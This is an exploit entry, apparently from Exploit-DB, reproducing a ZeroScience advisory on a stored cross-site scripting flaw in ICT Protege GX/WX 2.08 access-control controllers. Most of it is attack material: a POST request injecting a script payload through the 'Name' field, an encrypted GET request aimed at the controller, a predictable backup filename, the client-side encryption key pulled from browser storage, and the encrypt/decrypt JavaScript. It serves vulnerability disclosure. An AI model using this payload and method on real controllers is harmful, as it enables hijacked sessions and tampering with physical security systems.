e55394b7d4
6 changes to exploits/shellcodes Sysax FTP Automation 6.9.0 - Privilege Escalation iRZ Mobile Router - CSRF to RCE Ivanti Endpoint Manager 4.6 - Remote Code Execution (RCE) ICT Protege GX/WX 2.08 - Stored Cross-Site Scripting (XSS) ICT Protege GX/WX 2.08 - Client-Side SHA1 Password Hash Disclosure ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Takeover
116 lines
No EOL
4.3 KiB
Text
116 lines
No EOL
4.3 KiB
Text
# Exploit Title: ICT Protege GX/WX 2.08 - Stored Cross-Site Scripting (XSS)
|
|
# Exploit Author: LiquidWorm
|
|
|
|
Vendor: Integrated Control Technology Ltd.
|
|
Product web page: https://www.ict.co
|
|
Affected version: GX: Ver: 2.08.1002 K1B3
|
|
Lib: 04.00.217
|
|
Int: 2.3.235.J013
|
|
OS: 2.0.20
|
|
WX: Ver: 4.00 284 H062
|
|
App: 02.08.766
|
|
Lib: 04.00.169
|
|
Int: 02.2.208
|
|
|
|
Summary: Protege GX is an enterprise level integrated access control, intrusion
|
|
detection and building automation solution with a feature set that is easy to
|
|
operate, simple to integrate and effortless to extend. Protege WX is an all-in-one,
|
|
web-based, cross-platform system that gives you a fully functional access control
|
|
and intrusion detection solution in a fraction of the time of conventional software.
|
|
With no software to install, setup is quick and simple. Connect the Controller and
|
|
system components, then open a web browser to launch the intuitive wizard-driven
|
|
interface which guides you through the process of configuring your system.
|
|
|
|
Desc: The application suffers from an authenticated stored XSS vulnerability.
|
|
The issue is triggered when input passed to the 'Name' parameter is not properly
|
|
sanitized before being returned to the user. This can be exploited to execute
|
|
arbitrary HTML and script code in a user's browser session in context of an
|
|
affected site.
|
|
|
|
Tested on: Microsoft-WinCE/6.00
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2022-5699
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5699.php
|
|
|
|
|
|
08.02.2022
|
|
|
|
--
|
|
|
|
|
|
UI navigation:
|
|
--------------
|
|
|
|
Scheduling > Daylight Savings > (Name field).
|
|
|
|
|
|
Decrypted POST request:
|
|
-----------------------
|
|
|
|
POST /daylightsaving.htm
|
|
|
|
Command&Type=Submit&SubType=GXT_DAYLIGHTSAVINGS_TBL&DaylightSavingId=1&action=update&Name=ZSL%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&StartMonth=10&EndMonth=2&StartDay=41&EndDay=41&RecId=1
|
|
|
|
|
|
Encrypted GET request:
|
|
----------------------
|
|
|
|
http://CONTROLLER_IP/PRT_CTRL_DIN_ISAPI.dll?8F7FFABE947FEE9C78850F2BA679A3B1645F6378696B32385B56303C43604B48F8CD082303AADCFCECEA082384C860AB16159DADCD89C9A7A2A47EE1F49A7A98AC9A8572882F88FAE5409CF6E06E04DA7F7D10AA6D45525C62B2A62FD949FF00E6B6B7471010908D9A59FBA1D9F304AD8CB24E0CE317A0870AA5A5253F0FCD58CA2BC874AC002CB62422E184FB9F13161C9C00E08F258B8519578EA2793A0C28A4AF51CF65637C0C2F972CE3F49703214A63AA78B3EBE5C720DBE1E9C97E772334EC95480956E27DB6D1DF4489C5D60CCE27D69B388CA6C69A9DC72D85127F870DDA4E459CA245508EBFD66D1C83D9FA12838C1F426E538D5D75192B57DF5AF6
|
|
|
|
|
|
Additional info:
|
|
----------------
|
|
|
|
Databse backup predictable name: Db_D3037E8A_8_Feb_22.bak
|
|
The D3037E8A is the serial number of the onboard reader.
|
|
|
|
Encrypt/Decrypt functions:
|
|
--------------------------
|
|
|
|
From console:
|
|
> localStorage.getItem("WXKey")
|
|
< '8EDB22D9FB767538'
|
|
|
|
function encryptAES(a, c) {
|
|
a = a.toString();
|
|
a = unescape(encodeURIComponent(a));
|
|
"undefined" == typeof c && (c = !0);
|
|
if (0 == servertype)
|
|
return a;
|
|
var b = localStorage.getItem("WXKey");
|
|
if ("" == b || null == b)
|
|
return a;
|
|
for (var d = "", e = 0; 16 > e; e++)
|
|
d += String.fromCharCode(Math.floor(75 * Math.random() + 48));
|
|
a = d + mcrypt.Encrypt(addPKCS7(a), d, b, "rijndael-128", "cbc");
|
|
return a = c ? getCookie("SESSID") + strToHex(a) : strToHex(a)
|
|
}
|
|
|
|
function decryptAES(a) {
|
|
if (null == a)
|
|
return "";
|
|
a = a.toString();
|
|
if ("<invalid session> < Packet not Init and not encrypted. >" == a)
|
|
a = 0 == servertype ? "login.php" : "login.htm",
|
|
window.location = a + "?" + Math.random().toString(16).substring(2, 8).toLowerCase();
|
|
else if ("<invalid session>" == a.substr(0, 17))
|
|
a = 0 == servertype ? "login.php?logout" : "login.htm?logout",
|
|
window.location = a + "?" + Math.random().toString(16).substring(2, 8).toLowerCase();
|
|
else {
|
|
if (0 == servertype)
|
|
return a;
|
|
var c = localStorage.getItem("WXKey");
|
|
if ("" == c)
|
|
return a;
|
|
a = hexToStr(a);
|
|
var b = a.substr(0, 16);
|
|
a = a.substr(16, a.length);
|
|
a = mcrypt.Decrypt(a, b, c, "rijndael-128", "cbc").replace(/\x00+$/g, "");
|
|
a = removePKCS7(a);
|
|
return a = decodeURIComponent(escape(a))
|
|
} |